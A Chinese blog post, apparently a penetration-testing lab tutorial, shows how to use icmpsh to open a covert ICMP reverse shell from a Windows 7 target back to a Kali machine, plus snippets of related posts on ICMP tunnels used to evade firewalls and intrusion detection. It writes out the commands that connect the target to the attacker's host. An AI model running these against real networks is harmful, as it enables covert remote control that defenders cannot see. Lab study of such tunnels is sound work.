icmpsh建立ICMP隧道

最新推荐文章于 2025-05-01 11:43:53 发布
最新推荐文章于 2025-05-01 11:43:53 发布
阅读量4.8k 收藏 3
点赞数
分类专栏： 内网渗透 文章标签： 安全 内网隧道 ICMP隧道
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/nzjdsds/article/details/113254508
版权
本文介绍如何通过icmpsh工具，在Kali Linux与Windows 7之间建立隐蔽的命令与控制通道。首先在Kali上安装并配置icmpsh，然后通过Python脚本与目标Windows机器建立连接，最终实现在不被察觉的情况下进行数据交换。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

Kali：192.168.61.145
Win7：192.168.61.128

Kali上先下载icmpsh

git clone https://github.com/inquisb/icmpsh.git

在这里插入图片描述
安装python-impacket

apt-get install python-impacket

在这里插入图片描述

关闭Kali系统自己的ping回复(实验完成后，记得设回0)
在这里插入图片描述

然后进入icmpsh文件夹内执行

# python icmpsh_m.py [攻击机IP][目标IP]
python icmpsh_m.py 192.168.61.145 192.168.61.128

然后在目标机器上运行

# icmpsh.exe -t [攻击机IP]
icmpsh.exe -t 192.168.61.145

在这里插入图片描述
成功建立了会话

在这里插入图片描述
最后记得开启系统的ping回复

在这里插入图片描述

隐秘通信-使用PingTunnel搭建ICMP隧道实验
帮助别人等于帮助自己 ——MXi4oyu
08-09 1172
Internet Control Message Protocol Internet控制报文协议，简称ICMP协议。它是TCP/IP协议簇的一个子协议，用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用于网络本身的消息。这些控制消息虽然并不传输用户数据，但是对于用户数据的传递起着重要的作用。CMP协议主要提供两种功能，一种是差错报文，一种是信息类报文。信息类报文包括回显请求和回显应答，以及路由器通告和路由器请求。
内网隧道代理技术（二十五）之 ICMP隧道反弹SHELL
把自己活成一道光，因为你不知道，谁会借着你的光，走出了黑暗。请保持心中的善良，因为你不知道，谁会借着你的善良，走出了绝望。请保持你心中的信仰，因为你不知道，谁会借着你的信仰，走出了迷茫。请相信自己的力量，因为你不知道，谁会因为相信你，开始相信了自己....
09-14 374
由于ICMP报文自身可以携带数据，而且ICMP报文是由系统内核处理的，不占用任何端口，因此具有很高的隐蔽性。把数据隐藏在ICMP数据包包头的data字段中，建立隐蔽通道，可以实现绕过防火墙和入侵检测系统的阻拦。
利用icmpsh建立icmp隧道反弹shell
xj28555的博客
09-25 815
首先在kali上安装icmpsh软件，软件地址https://github.com/inquisb/icmpsh.git 我们可以直接用git克隆过来git clonehttps://github.com/inquisb/icmpsh.git 然后我们还需要来安装python-impacket类库以保证对TCP、UDP、ICMP等协议的访问 pip2 install impacket 接下来我们还需要关闭我们之前的ping命令应答程序，这样可以防止内核自己对ping包进行响应。 sysc.
用icmpsh搭建icmp隧道
hentai_uncle的博客
09-11 544
icmp隧道 icmpsh 使用kali作为攻击机, 使用win7作为受害机 kali安装icmpsh git clone https://github.com/inquisb/icmpsh.git apt-get install python-impacket //这步很可能存在问题 问题的解决方式: cp /etc/apt/sources.list /etc/apt/sources.list.bak //备份 vim /etc/apt/sources.list
icmp隧道
最新发布
m0_74849202的博客
05-01 579
在一些网络环境中，如果攻击者使用各类上层隧道(例如：HTTP隧道、DNS隧道、常规正/反向端口转发等)进行的操作都失败了，常常会通过ping命令访问远程计算机，尝试建立ICMP隧道，将TCP/UDP数据封装到ICMP的ping数据包中，从而穿过防火墙(防火墙一般不会屏蔽ping的数据包)，实现不受限制的访问访问。每ping下就会有两个数据包,先是request再是repley,所以ping完后多了总计八个数据包,大小为74字节,黑色的是连接超时的,用linux ping则是98字节,有点小差异。
icmp隧道--icmpsh
ddr12231的博客
09-24 327
本地:ubantu 目标主机:windows 在ubantu上关闭自带的icmp回应 sysctl -w net.ipv4.icmp_echo_ighore_all=1 ubantu上启动 pip install impacket python icmpsh_m.py ubantuIP WindowsIP windows上 icmpsh.exe -t UbantuIP 详细命令 -t...
ICMP隧道搭建
weixin_45007073的博客
04-09 1041
概述 ICMP隧道简单、实用，是一个比较特殊的协议。最常见的ICMP消息为ping命令的回复，攻击者可以利用命令行得到比回复更多的ICMP请求。在一些网络环境中，如果攻击者使用各类上层隧道(HTTP隧道、DNS隧道、常规正/反向端口转发等)进行的操作都失败了，常常会通过ping命令访问远程计算机，尝试建立ICMP隧道，将TCP/UDP数据封装到ICMP的ping数据包中，从而穿过防火墙，实现不受限制的网络访问。 攻击演示 这里我们使用icmpsh这款工具完成演示，这个工具的下载地址为https://git
【内网流量操控技术七】pingtunnel建立icmp隧道
redwand的博客
02-14 1293
前面学习了icmpsh穿透防火墙仅允许icmp协议下的相关配置，我们发现，icmpsh还是有些不足。第一，不能跨平台，其客户端只有icmpsh.exe针对windows的二进制文件，遇到靶机是*inux环境无法使用。第二，icmpsh本质上还不是一个隧道，只是一个反弹shell。第三，icmpsh没有密码认证机制，shell很可能被盗用。因此，有必要再动手将另一icmp常用工具pingtunnel再实验一遍。
浅析Icmp原理及隐蔽攻击的方式
MSB_WLAQ的博客
10-13 2710
一、ICMP隧道技术解析 1.icmp协议 Internet Control Message Protocol Internet控制报文协议。它是TCP/IP协议簇的一个子协议，用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用于网络本身的消息。这些控制消息虽然并不传输用户数据，但是对于用户数据的传递起着重要的作用 ICMP协议主要提供两种功能， 一种是差错报文，一种是信息类报文。信息类报文包括回显请求和回显应答，以及路由器通告和路由器请求。常见的差.
icmp报文_ICMP隧道
weixin_39980596的博客
11-22 232
2018年小黑考上了某三本大学的计算机专业，在骄阳似火的9月为了喝阔乐，和办宽带上网，小黑选择了前者。校园宿舍用的是CMCC网络，需要进行认证才能上百度。为了一边喝阔乐一边上网，小黑开始了折腾的不归路。下面简单的分析一哈ICMP隧道是如何建立和使用的。[1]这都是2015年的技术了～第一步：服务端启动隧道第二步：查看服务端的隧道IP、路由等信息服务端IP地址多了一个10.0.1.1，这就是咱们的隧...
icmp隧道搭建（pingtunnel的使用）
dzqxwzoe的博客
08-09 1152
第一种是报网络安全专业，现在叫网络空间安全专业，主要专业课程:程序设计、计算机组成原理原理、数据结构、操作系统原理、数据库系统、 计算机网络、人工智能、自然语言处理、社会计算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习，多媒体技术，信息检索、舆情分析等。第二种是自学，就是在网上找资源、找教程，或者是想办法认识一-些大佬，抱紧大腿，不过这种方法很耗时间，而且学习没有规划，可能很长一段时间感觉自己没有进步，容易劝退。随手输了个root root检测，没想到真的是（靶场嘛，比较简单，大家勿喷哈~）
ICMP隧道
javaEE_zero的博客
11-23 317
ICMP隧道的实现原理和防御方式
内网渗透系列：内网隧道之icmpsh
闵行小鱼塘
04-10 1638
本文研究ICMP隧道的一个工具，icmpsh
网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)
谢公子的博客
03-05 6263
目录 ICMP隧道 使用ICMP搭建隧道(PingTunnel) 使用ICMP搭建隧道(Icmptunnel) ICMP隧道 ICMP隧道简单实用，是一个比较特殊的协议。在一般的通信协议里，如果两台设备要进行通信，肯定需要开放端口，而在ICMP协议下就不需要。最常见的ping命令就是利用的ICMP协议，攻击者可以利用命令行得到比回复更多的ICMP请求。在通常情况下，每个ping命令都有相...
隧道工具Pingtunnel使用ICMP协议搭建隧道
qq_42430287的博客
03-24 510
1.环境搭建 windows10本机：192.168.126.1 kali攻击机：192.168.126.149 linux内网webserver服务器：192.168.126.157和192.168.33.129 内网windows7：192.168.33.33 2.安装Pingtunnel kali攻击机和webserver安装 apt-get install byacc apt-get i...
kali的icmpsh在哪里
04-30
在目标机器上运行客户端程序icmpsh.exe，连接到Kali的服务端，从而建立ICMP隧道。 需要注意权限问题，运行脚本可能需要root权限。此外，防火墙设置可能影响ICMP通信，用户可能需要调整配置。另外，由于icmpsh依赖...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值